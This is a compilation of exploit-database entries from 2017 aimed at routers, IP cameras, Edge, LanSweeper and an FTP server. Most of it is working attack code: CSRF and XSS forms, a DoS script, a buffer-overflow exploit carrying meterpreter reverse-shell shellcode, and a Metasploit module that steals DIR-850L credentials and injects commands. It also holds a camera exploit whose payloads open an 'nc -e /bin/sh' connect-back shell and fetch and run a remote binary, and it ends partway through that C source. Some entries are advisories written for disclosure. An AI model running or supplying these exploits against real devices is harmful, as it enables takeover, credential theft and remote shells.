<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="test'><script>alert(1)</script>" / >
<input type="hidden" name="x" value="61" />
<input type="hidden" name="y" value="12" />
<input type="hidden" name="KeywordAction" value="1" />
<input type="hidden" name="NewDomain" value="" />
<input type="hidden" name="DomainAction" value="0" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Enable Service" />
</form>
</html>
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1339
I accidentally found this while trying to reproduce another bug in Edge.
Failed to reproduce on Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.
Tested on Microsoft Edge 40.15063.0.0, Microsoft EdgeHTML 15.15063 (Insider Preview).
Crash Log:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chakra!JsUtil::WeaklyReferencedKeyDictionary<Js::DynamicType,Js::DynamicType * __ptr64,DefaultComparer<Js::DynamicType const * __ptr64>,1>::FindEntry<Js::DynamicType>+0x41:
00007fff`e2b7c841 8b0c81 mov ecx,dword ptr [rcx+rax*4] ds:0000023b`4a2ea4c4=????????
0:015> k
# Child-SP RetAddr Call Site
00 000000be`563fbba0 00007fff`e2f52e3e chakra!JsUtil::WeaklyReferencedKeyDictionary<Js::DynamicType,Js::DynamicType * __ptr64,DefaultComparer<Js::DynamicType const * __ptr64>,1>::FindEntry<Js::DynamicType>+0x41
01 000000be`563fbbf0 00007fff`e2e1f9a4 chakra!JsUtil::WeaklyReferencedKeyDictionary<Js::DynamicType,Js::DynamicType * __ptr64,DefaultComparer<Js::DynamicType const * __ptr64>,1>::TryGetValue+0x56
02 000000be`563fbc40 00007fff`e2cb58a9 chakra!Windows::Data::Text::IUnicodeCharactersStatics::`vcall'{144}'+0x58fc4
03 000000be`563fbcf0 00007fff`e2db04c8 chakra!Js::JavascriptObject::ChangePrototype+0x109
04 000000be`563fbd30 00007fff`e2dbe863 chakra!Js::JavascriptObject::EntrySetPrototypeOf+0xc8
05 000000be`563fbd80 00007fff`e2c5dfb8 chakra!amd64_CallFunction+0x93
06 000000be`563fbde0 00007fff`e2c610da chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x158
07 000000be`563fbe80 00007fff`e2c67c61 chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >+0xaa
08 000000be`563fbf00 00007fff`e2c6436c chakra!Js::InterpreterStackFrame::ProcessProfiled+0x131
09 000000be`563fbf60 00007fff`e2dc1bfd chakra!Js::InterpreterStackFrame::Process+0x12c
0a 000000be`563fbfc0 00007fff`e2d88cd5 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x3bd
0b 000000be`563fc310 0000023a`3c412fc2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
0c 000000be`563fc360 00007fff`e2dbe863 0x0000023a`3c412fc2
0d 000000be`563fc390 00007fff`e2ca6113 chakra!amd64_CallFunction+0x93
0e 000000be`563fc3e0 00007fff`e2c52060 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
0f 000000be`563fc440 00007fff`e2c51167 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x100
10 000000be`563fc530 00007fff`e2d9ec52 chakra!Js::JavascriptFunction::CallRootFunction+0x4b
11 000000be`563fc5a0 00007fff`e2c50fa4 chakra!ScriptSite::CallRootFunction+0x6a
12 000000be`563fc600 00007fff`e2d30c99 chakra!ScriptSite::Execute+0x124
13 000000be`563fc690 00007fff`e2d31fde chakra!ScriptEngine::ExecutePendingScripts+0x1a5
14 000000be`563fc760 00007fff`e2d32271 chakra!ScriptEngine::ParseScriptTextCore+0x436
15 000000be`563fc8b0 00007fff`da0fe8d5 chakra!ScriptEngine::ParseScriptText+0xb1
16 000000be`563fc960 00007fff`da0fe71e edgehtml!CJScript9Holder::ParseScriptText+0x119
17 000000be`563fca00 00007fff`da0fe237 edgehtml!CScriptCollection::ParseScriptText+0x202
18 000000be`563fcae0 00007fff`da0fdb67 edgehtml!CScriptData::CommitCode+0x357
19 000000be`563fcca0 00007fff`da2c50ad edgehtml!CScriptData::Execute+0x20f
1a 000000be`563fcd50 00007fff`da136ad4 edgehtml!CHtmScriptParseCtx::Execute+0x7d
1b 000000be`563fcd80 00007fff`da135ba1 edgehtml!CHtmParseBase::Execute+0x204
1c 000000be`563fce10 00007fff`da2be8cb edgehtml!CHtmPost::Exec+0x1e1
1d 000000be`563fcff0 00007fff`da2be7af edgehtml!CHtmPost::Run+0x2f
1e 000000be`563fd020 00007fff`da2be663 edgehtml!PostManExecute+0x63
1f 000000be`563fd060 00007fff`da2be4fd edgehtml!PostManResume+0xa3
20 000000be`563fd0a0 00007fff`da2ccfb3 edgehtml!CHtmPost::OnDwnChanCallback+0x3d
21 000000be`563fd0f0 00007fff`da2a4ddb edgehtml!CDwnChan::OnMethodCall+0x23
22 000000be`563fd120 00007fff`da163f46 edgehtml!GWndAsyncTask::Run+0x1b
23 000000be`563fd150 00007fff`da280480 edgehtml!HTML5TaskScheduler::RunReadiedTask+0x236
24 000000be`563fd220 00007fff`da2802a3 edgehtml!TaskSchedulerBase::RunReadiedTasksInTaskQueueWithCallback+0x70
25 000000be`563fd270 00007fff`da164af3 edgehtml!HTML5TaskScheduler::RunReadiedTasks+0xa3
26 000000be`563fd2d0 00007fff`da162fe5 edgehtml!NormalPriorityAtInputEventLoopDriver::DriveRegularPriorityTaskExecution+0x53
27 000000be`563fd300 00007fff`fb3dbc50 edgehtml!GlobalWndProc+0x125
PoC:
-->
<script>
Object.setPrototypeOf({}, this);
location.reload();
</script>
# Exploit Title: XSS Vuln - TP-LINK TL-WR740N
# Date: 15/11/2017
# Exploit Author: bl00dy
# Vendor Homepage: http://www.tp-link.com <http://www.tp-link.com.br/>
# Version: TP-LINK TL-WR740N - 3.17.0 Build 140520 Rel.75075n
# Tested on: Windows 8.1
Cross-site scripting (XSS) in TP-LINK TL-WR740N
______________________________________________________
Proof of Concept:
1. Go to your wireless router ip (ex. 192.168.0.1)
2. Go to Wireless and -Wireless MAC Filtering- tab
3. Click Add new button
5.Write random MAC Address and in -Description- write (<h1>XSS by
bl00dy</h1>)
6.Click save and you will see XSS in Wireless MAC Filtering tab
______________________________________________________
# Exploit Title: D-Link DIR605L <=2.08 Denial of Service via HTTP GET (CVE-2017-9675)
# Date: 2017-11-14
# Exploit Author: Enrique Castillo
# Contact: https://twitter.com/_hyperlogic
# Detailed Analysis: http://hypercrux.com/bug-report/2017/06/19/DIR605L-DoS-BugReport/
# Vendor Homepage: http://us.dlink.com/
# Software Link: specific version no longer available on vendor site
# Version: 2.08UI and prior
# CVE : CVE-2017-9675
# Tested on Linux
###
# Description: Firmware versions 2.08UI and lower contain a bug in the function that handles HTTP GET requests for
# directory paths that can allow an unauthenticated attacker to cause complete denial of service (device reboot). This bug can be triggered
# from both LAN and WAN.
###
#!/usr/bin/env bash
# usage: ./sploit.sh <router_ip>
ROUTER=$1
if [ "$#" -ne 1 ]; then
echo "usage: $0 <router_ip>"
exit
fi
curl http://$ROUTER/Tools/
# Exploit Title: [D-Link DCS-936L network camera incomplete/weak CSRF protection vulnerability]
# Date: [26/03/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [http://us.dlink.com/product-category/home-solutions/view/network-cameras/]
# Version: [Tested on DCS-936L with firmware version 1.03. Other versions/models are also be affected]
# Tested on: [DCS-936L with firmware version 1.02.01]
# CVE : [CVE-2017-7851]
==================
#Product:-
==================
Small and unobtrusive, SecuriCam™ IP surveillance solutions from D-Link allow you to monitor your offices or warehouses from anywhere - at anytime. Extreme Low LUX optics, 2 way audio, and full pan/tilt/zoom manipulation provide everything an SMB needs to safeguard their valuable resources.
==================
#Vulnerability:-
==================
D-Link DCS-936L network camera incomplete/weak CSRF protection vulnerability.
========================
#Vulnerability Details:-
========================
=============================================================================================================================
D-Link DCS-936L network camera incomplete/weak CSRF protection vulnerability (CVE-2017-7851)
=============================================================================================================================
D-Link DCS-936L devices with firmware 1.02.01 have CSRF. If a victim is logged into the camera's web console and visits a malicious site hosting a <Target_Device_IP.HTML> from another tab in the same browser, the malicious site can send requests to the victim's device. An attacker can add a new user, replace the firmware image with a malicious one, or connect the victim's device to a rogue Wireless Network.
An attacker can easily find out public IP address of victim's device on Shodan or similar search engines to create <Target_Device_IP.HTML> file. Victim must be logged into the camera's web console and visit attacker's site from another tab in the same browser.
#Proof-of-Concept:-
-------------------
D-Link DCS-936L prevents CSRF attack by looking at ‘Referer’ header. The ‘Referer’ IP should match with the one in ‘HOST’ header. If it does not, HTTP 403 is returned in the response. However, this device does not perform a strict check on ‘Referer’ header. It seems that it looks for the device’s IP address (which is the one in ‘HOST’ header) anywhere in the ‘Referer’ header. If found, it happily accepts the request.
An unauthenticated, remote attacker could host a malicious site that makes requests to the victim’s device without having credentials. In a targeted attack, an attacker needs to trick victim to visit a malicious site that exploits this vulnerability.
1. Attacker hosts a ‘<target_ip>.html’ on <attacking_ip>
<html>
<body>
<form id="CSRF" action="http://<target_ip>/eng/admin/tools_admin.cgi" method="POST">
<input type="hidden" name="user" value="hacker">
<input type="hidden" name="action" value="set">
<input type="hidden" name="password" value="abc123">
<input type="hidden" name="confirmPassword" value="abc123">
</form>
<script>
window.onload = function(){
document.forms['CSRF'].submit()
}
</script>
</body>
</html>
2. Victim logs into his device.
3. Victim then visits attackers site http://<attacking_ip>/<target_ip>.html
4. Above request adds a new user ‘Hacker’ which reboots the web server.
6. Browser sends add new user request to the target device <target_ip>. Victim's browser sets 'Referer' header to 'http://<attacking_ip>/<target_ip>.html'. As this contains the IP address of the device (<target_ip>), this request is processed successfully.
7. Server response shows user hacker added successfully:
8. Attacker can now log into the device as hacker/abc123
===================================
#Vulnerability Disclosure Timeline:
===================================
26/03/2017: First email to disclose vulnerability to D-Link incident response team.
26/03/2017: Vendor acknowledged the report.
25/05/2017: Vendor confirmed that development has been completed and it's undergoing security audit.
13/10/2017: Firmwared released to production: ftp://ftp2.dlink.com/PRODUCTS/DCS-936L/REVA/DCS-936L_REVA_FIRMWARE_v1.05.07.zip
13/11/2017: DCS-936L Firmware Release Notes: ftp://ftp2.dlink.com/PRODUCTS/DCS-936L/REVA/DCS-936L_REVA_RELEASE_NOTES_v1.05.07.pdf
15/11/2017: Published CVE-2017-7851
LanSweeper - Cross Site Scripting and HTMLi
Title: Vulnerability in LanSweeper
Date: 16-11-2017
Status: Vendor contacted, patch available
Author: Miguel Mendez Z
Vendor Homepage: http://www.lansweeper.com
Version: 6.0.100.75
CVE: CVE-2017-16841
Vulnerability description -------------------------
LanSweeper 6.0.100.75 has XSS via the description parameter to "/Calendar/CalendarActions.aspx".
Take control of the browser using the xss shell or perform malware attacks on users.
Vulnerable variable:
--------------------
"http://victim.com/Calendar/CalendarActions.aspx?action=scheduleinfo&id=2&__VIEWSTATE=&title=Test+Lansweeper&description=XSS/HTMLI&type=1&startdate=13/10/2017&txtStart=19:30&enddate=13/10/2017&txtEnd=21:30&reminder=15&repeattype=1&amount=1&repeatby=0&monthday=1&monthweekday=1&monthweekdayday=1&ends=1&occurrences=15&repeatenddate=&agents={"14":{"id":14,"editAllowed":true}}&teams=&delete=false"
"http://victim.com/Scanning/report.aspx?det=web50accessdeniederrors&title=XSS/HTMLI"
"http://victim.com/Software/report.aspx?det=XSS/HTMLI&title=Linux Software"
Poc:
----
https://www.youtube.com/watch?v=u213EqTSsXQ
# Tested on Windows 10 (x86)
# The application requires to have the web server enabled.
# Exploit for older version: https://www.exploit-db.com/exploits/40832/
#!/usr/bin/python
import socket,os,time,struct,argparse
parser = argparse.ArgumentParser()
parser.add_argument('--host', required=True)
args = parser.parse_args()
host = args.host
port = 80
# root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.116.166 LPORT=4455 -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f py
shellcode = ""
shellcode += "\xba\xb6\x9f\x39\x88\xd9\xf7\xd9\x74\x24\xf4\x5e\x31"
shellcode += "\xc9\xb1\x54\x83\xee\xfc\x31\x56\x0f\x03\x56\xb9\x7d"
shellcode += "\xcc\x74\x2d\x03\x2f\x85\xad\x64\xb9\x60\x9c\xa4\xdd"
shellcode += "\xe1\x8e\x14\x95\xa4\x22\xde\xfb\x5c\xb1\x92\xd3\x53"
shellcode += "\x72\x18\x02\x5d\x83\x31\x76\xfc\x07\x48\xab\xde\x36"
shellcode += "\x83\xbe\x1f\x7f\xfe\x33\x4d\x28\x74\xe1\x62\x5d\xc0"
shellcode += "\x3a\x08\x2d\xc4\x3a\xed\xe5\xe7\x6b\xa0\x7e\xbe\xab"
shellcode += "\x42\x53\xca\xe5\x5c\xb0\xf7\xbc\xd7\x02\x83\x3e\x3e"
shellcode += "\x5b\x6c\xec\x7f\x54\x9f\xec\xb8\x52\x40\x9b\xb0\xa1"
shellcode += "\xfd\x9c\x06\xd8\xd9\x29\x9d\x7a\xa9\x8a\x79\x7b\x7e"
shellcode += "\x4c\x09\x77\xcb\x1a\x55\x9b\xca\xcf\xed\xa7\x47\xee"
shellcode += "\x21\x2e\x13\xd5\xe5\x6b\xc7\x74\xbf\xd1\xa6\x89\xdf"
shellcode += "\xba\x17\x2c\xab\x56\x43\x5d\xf6\x3e\xa0\x6c\x09\xbe"
shellcode += "\xae\xe7\x7a\x8c\x71\x5c\x15\xbc\xfa\x7a\xe2\xc3\xd0"
shellcode += "\x3b\x7c\x3a\xdb\x3b\x54\xf8\x8f\x6b\xce\x29\xb0\xe7"
shellcode += "\x0e\xd6\x65\x9d\x04\x40\x2a\x72\x6d\x36\x5a\x71\x8d"
shellcode += "\x27\xfc\xfc\x6b\x17\x52\xaf\x23\xd7\x02\x0f\x94\xbf"
shellcode += "\x48\x80\xcb\xdf\x72\x4a\x64\x75\x9d\x23\xdc\xe1\x04"
shellcode += "\x6e\x96\x90\xc9\xa4\xd2\x92\x42\x4d\x22\x5c\xa3\x24"
shellcode += "\x30\x88\xd2\xc6\xc8\x48\x7f\xc7\xa2\x4c\x29\x90\x5a"
shellcode += "\x4e\x0c\xd6\xc4\xb1\x7b\x64\x02\x4d\xfa\x5d\x78\x7b"
shellcode += "\x68\xe2\x16\x83\x7c\xe2\xe6\xd5\x16\xe2\x8e\x81\x42"
shellcode += "\xb1\xab\xce\x5e\xa5\x67\x5a\x61\x9c\xd4\xcd\x09\x22"
shellcode += "\x02\x39\x96\xdd\x61\x3a\xd1\x22\xf7\x1e\x7a\x4b\x07"
shellcode += "\x1e\x7a\x8b\x6d\x9e\x2a\xe3\x7a\xb1\xc5\xc3\x83\x18"
shellcode += "\x8e\x4b\x09\xcc\x7c\xed\x0e\xc5\x21\xb3\x0f\xe9\xf9"
shellcode += "\xa2\x81\x0e\xfe\xca\x63\x33\x28\xf3\x11\x74\xe8\x40"
shellcode += "\x29\xcf\x4d\xe0\xa0\x2f\xc1\xf2\xe0"
buffer = "\x41" * 780
buffer += struct.pack("<L", 0x10090c83) # JMP ESP - libspp
buffer += "\x90" * 12
buffer += shellcode
buffer += "\x90" * (10000 - len(buffer))
evil = "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.228.140\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer + "\r\n"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()
X41 D-Sec GmbH Security Advisory: X41-2017-006
Multiple Vulnerabilities in PSFTPd Windows FTP Server
=====================================================
Overview
--------
Confirmed Affected Versions: 10.0.4 Build 729
Confirmed Patched Versions: None
Vendor: Sergei Pleis Softwareentwicklung
Vendor URL: http://www.psftp.de/ftp-server/
Vector: Network
Credit: X41 D-Sec GmbH, Eric Sesterhenn, Markus Vervier
Status: Public
Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2017-006-psftpd/
Summary and Impact
------------------
Several issues have been identified, which allow attackers to hide
information in log files, recover passwords and crash the whole server.
It uses neither ASLR nor DEP to make exploitation harder.
Product Description
-------------------
From the vendor page, roughly translated:
PSFTPd is a userfriendly, functional and robust FTP server software with
support for FTP, FTPS and SFTP.
Use after free
==============
Severity Rating: High
Vector: Network
CVE: CVE-2017-15271
CWE: 416
CVSS Score: 7.5
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary and Impact
------------------
An invalid memory access issue could be triggered remotely in the SFTP
component of PSFTPd. This issue could be triggered prior authentication.
The PSFTPd server did not automatically restart, which enabled attackers
to perform a very effective DoS attack against this service. By sending
the following SSH identification / version string to the server, a NULL
pointer dereference could be triggered:
$ cat tmp.14
SSH-2.0-BBBBBBBB
CCCCCCCCCCCC
$ cat tmp.14 | socat - TCP:192.168.122.50:22
The issue appears to be a race condition in the window message handling,
performing the cleanup for invalid connections. Upon further
investigation X41 D-Sec GmbH could confirm that the accessed memory was
already freed.
X41 D-Sec GmbH enabled the memory debugging functionality page heap for
the psftpd_svc.exe exeutable using the command agflags.exe /p /disable
psftpd_svc.exe /fulla. When observing the crash in the WinDBG 19
debugging tool, it could be confirmed that access to an already freed
page was taking place.
Log Injection
=============
Severity Rating: Medium
Vector: Network
CVE: CVE-2017-15270
CWE: 117
CVSS Score: 5.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Summary and Impact
------------------
The PSFTPd server does not properly escape data before writing it into a
Comma Separated Values (CSV) file. This can be used by attackers to hide
data in the Graphical User Interface (GUI) view and create arbitrary
entries to a certain extent.
Special characters as '"', ',' and '\r' are not escaped and can be used
to add new entries to the log.
Workarounds
-----------
None
Passwords stored in Plain Text
==============================
Severity Rating: Low
Vector: Local
CVE: CVE-2017-15272
CWE: 312
CVSS Score: 3.3
CVSS Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Summary and Impact
------------------
The PSFTPd server stores its configuration inside the PSFTPd.dat. This
file is a Microsoft Access Database and can be extracted by using the
command "mdb-export PSFTPd.dat USERS" from mdbtools
(https://github.com/brianb/mdbtools). The application sets the encrypt
flag with the password "ITsILLEGAL", but this is not required to extract
the data.
The users password is shown in clear text, since it is not stored securely.
Workarounds
-----------
Use the Active Directory connector for your users.
FTP Bounce Scan
===============
Severity Rating: Medium
Vector: Network
CVE: CVE-2017-15269
CWE: 441
CVSS Score: 5.0
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Summary and Impact
------------------
The PSFTPd server does not prevent FTP bounce scans by default.
These can be performed using "nmap -b" and allow to perform scans via
the FTP server.
Workarounds
-----------
It is possible to prevent FTP bounce scans by setting: Kontrollmanager >
Domain > Sicherheit > Register "FTP Bounce and FXP"
Workarounds
-----------
None
About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus on
application code reviews, design review and security testing. X41 D-Sec
GmbH was founded in 2015 by Markus Vervier. We support customers in
various industries such as finance, software development and public
institutions.
Timeline
--------
2017-08-31 Issues found
2017-09-18 Vendor contacted
2017-09-19 Vendor reply
2017-10-11 CVE IDs requested
2017-10-11 CVE IDs assigned
2017-11-06 Vendor informed us, that apparently a fixed version was
released. We cannot confirm, since we do not have
access.
2017-11-07 Public release
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
'Description' => %q{
This module leverages an unauthenticated credential disclosure
vulnerability to then execute arbitrary commands on DIR-850L routers
as an authenticated user. Unable to use Meterpreter payloads.
},
'Author' => [
'Mumbai', # https://github.com/realoriginal (module)
'Zdenda' # vuln discovery
],
'References' => [
['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
],
'DisclosureDate' => 'Aug 9 2017',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
},
'Privileged' => true,
'Payload' => {
'DisableNops' => true,
},
'Targets' => [[ 'Automatic', {} ]],
))
end
def check
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers['Server']
auth = res.headers['Server']
if auth =~ /DIR-850L/
if auth =~ /WEBACCESS\/1\.0/
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Detected
end
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
# should write an auxiliary module to-do -> WRITE AUXILIARY
def retrieve_creds
begin
xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
xml << "<postxml>\r\n"
xml << "<module>\r\n"
xml << " <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
xml << "</module>\r\n"
xml << "</postxml>"
res = send_request_cgi({
'uri' => '/hedwig.cgi',
'method' => 'POST',
'encode_params' => false,
'headers' => {
'Accept-Encoding' => 'gzip, deflate',
'Accept' => '*/*'
},
'ctype' => 'text/xml',
'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
'data' => xml,
})
if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
parse = res.get_xml_document
username = parse.at('//name').text
password = parse.at('//password').text
vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
print_good("#{peer} - Downloaded credentials to #{loot}")
return username, password
else
fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def retrieve_uid
begin
res = send_request_cgi({
'uri' => '/authentication.cgi',
'method' => 'GET',
})
parse = res.get_json_document
uid = parse['uid']
challenge = parse['challenge']
return uid, challenge
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def login(username, password)
uid, challenge = retrieve_uid
begin
hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
send_request_cgi({
'uri' => '/authentication.cgi',
'method' => 'POST',
'data' => "id=#{username}&password=#{hash}",
'cookie' => "uid=#{uid}"
})
return uid
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def execute_command(cmd, opts)
uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
payload << "<postxml>\r\n"
payload << "<module>\r\n"
payload << " <service>DEVICE.TIME</service>\r\n"
payload << " <device>\r\n"
payload << " <time>\r\n"
payload << " <ntp>\r\n"
payload << " <enable>1</enable>\r\n"
payload << " <period>604800</period>\r\n"
payload << " <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n"
payload << " </ntp>\r\n"
payload << " <ntp6>\r\n"
payload << " <enable>1</enable>\r\n"
payload << " <period>604800</period>\r\n"
payload << " </ntp6>\r\n"
payload << " <timezone>20</timezone>\r\n"
payload << " <time/>\r\n"
payload << " <date/>\r\n"
payload << " <dst>0</dst>\r\n"
payload << " <dstmanual/>\r\n"
payload << " <dstoffset/>\r\n"
payload << " </time>\r\n"
payload << " </device>\r\n"
payload << "</module>\r\n"
payload << "</postxml>"
begin
# save configuration
res = send_request_cgi({
'uri' => '/hedwig.cgi',
'method' => 'POST',
'ctype' => 'text/xml',
'data' => payload,
'cookie' => "uid=#{uid}"
})
# execute configuration
res = send_request_cgi({
'uri' => '/pigwidgeon.cgi',
'method' => 'POST',
'data' => 'ACTIONS=SETCFG,ACTIVATE',
'cookie' => "uid=#{uid}"
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
end
end
def exploit
print_status("#{peer} - Connecting to target...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
end
#
# Information Retrieval, obtains creds and logs in
#
@username, @password = retrieve_creds
execute_cmdstager(
:flavor => :wget,
:linemax => 200
)
end
end
// Exploit-DB Note ~ Source: https://pierrekim.github.io/advisories/expl-goahead-camera.c
// Exploit-DB Note ~ Credit: https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define CAM_PORT 80
#define REMOTE_HOST "192.168.1.1"
#define REMOTE_PORT "1337"
#define PAYLOAD_0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20" REMOTE_HOST "+" REMOTE_PORT "%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"
#define PAYLOAD_1 "GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s\r\n\r\n"
#define PAYLOAD_2 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=passpasspasspasspasspasspasspasspass&dir=/&mode=PORT&upload_interval=0\r\n\r\n"
#define ALTERNATIVE_PAYLOAD_zero0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc+" REMOTE_HOST "+" REMOTE_PORT "+-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"
#define ALTERNATIVE_PAYLOAD_zero1 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(wget+http://" REMOTE_HOST "/stufz&&./stuff)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"
char * creds(char *argv,
int get_config);
int rce(char *argv,
char *id,
char attack[],
char desc[]);
int main(int argc,
char **argv,
char **envp)
{
char *id;
printf("Camera 0day root RCE with connect-back @PierreKimSec\n\n");
if (argc < 2)
{
printf("%s target\n", argv[0]);
printf("%s target --get-config will dump the configuration and exit\n", argv[0]);
return (1);
}
if (argc == 2)
printf("Please run `nc -vlp %s` on %s\n\n", REMOTE_PORT, REMOTE_HOST);
if (argc == 3 && !strcmp(argv[2], "--get-config"))
id = creds(argv[1], 1);
else
id = creds(argv[1], 0);
if (id == NULL)
{
printf("exploit failed\n");
return (1);
}
printf("done\n");
printf(" login = %s\n", id);
printf(" pass = %s\n", id + 32);
if (!rce(argv[1], id, PAYLOAD_0, "planting"))
printf("done\n");
sleep(1);
if (!rce(argv[1], id, PAYLOAD_1, "executing"))
printf("done\n");
if (!rce(argv[1], id, PAYLOAD_2, "cleaning"))
printf("done\n");
if (!rce(argv[1], id, PAYLOAD_1, "cleaning"))
printf("done\n");
printf("[+] enjoy your root shell on %s:%s\n", REMOTE_HOST, REMOTE_PORT);
return (0);
}
char * creds(char *argv,
int get_config)
{
int sock;
int n;
struct sockaddr_in serv_addr;
char buf[8192] = { 0 };
char *out;
char *tmp;
char payload[] = "GET /system.ini?loginuse&loginpas HTTP/1.0\r\n\r\n";
int old_n;
int n_total;
sock = 0;
n = 0;
old_n = 0;
n_total = 0;
printf("[+] bypassing auth ... ");
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Error while creating socket\n");
return (NULL);
}
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(CAM_PORT);
if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0)
{
printf("Error while inet_pton\n");
return (NULL);
}
if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0)
{
printf("creds: connect failed\n");
return (NULL);
}
